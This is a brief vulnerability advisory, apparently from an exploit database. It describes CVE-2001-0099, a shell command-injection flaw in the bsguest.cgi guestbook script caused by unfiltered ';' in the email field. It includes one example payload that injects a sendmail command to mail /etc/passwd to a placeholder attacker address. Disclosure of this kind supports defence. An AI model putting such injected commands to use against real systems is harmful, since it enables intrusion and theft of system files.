source: http://www.securityfocus.com/bid/2159/info An input validation vulnerability exists in Brian Stanback's bsguest.cgi, a script designed to coordinate guestbook submissions from website visitors. The script fails to properly filter ';' characters from the user-supplied email address collected by the script. As a result, maliciously-formed values for this field can cause the the script to run arbitrary shell commands with the privilege level of the web server. Attacker enters his email address as <email@example.com> 'firstname.lastname@example.org;/usr/sbin/sendmail email@example.com < /etc/passwd', server mails a confirmation letter along with the passwd file to the attacker.
Related ExploitsTrying to match CVEs (1): CVE-2001-0099
Trying to match OSVDBs (1): 7162
Other Possible E-DB Search Terms: Brian Stanback bsguest.cgi 1.0, Brian Stanback bsguest.cgi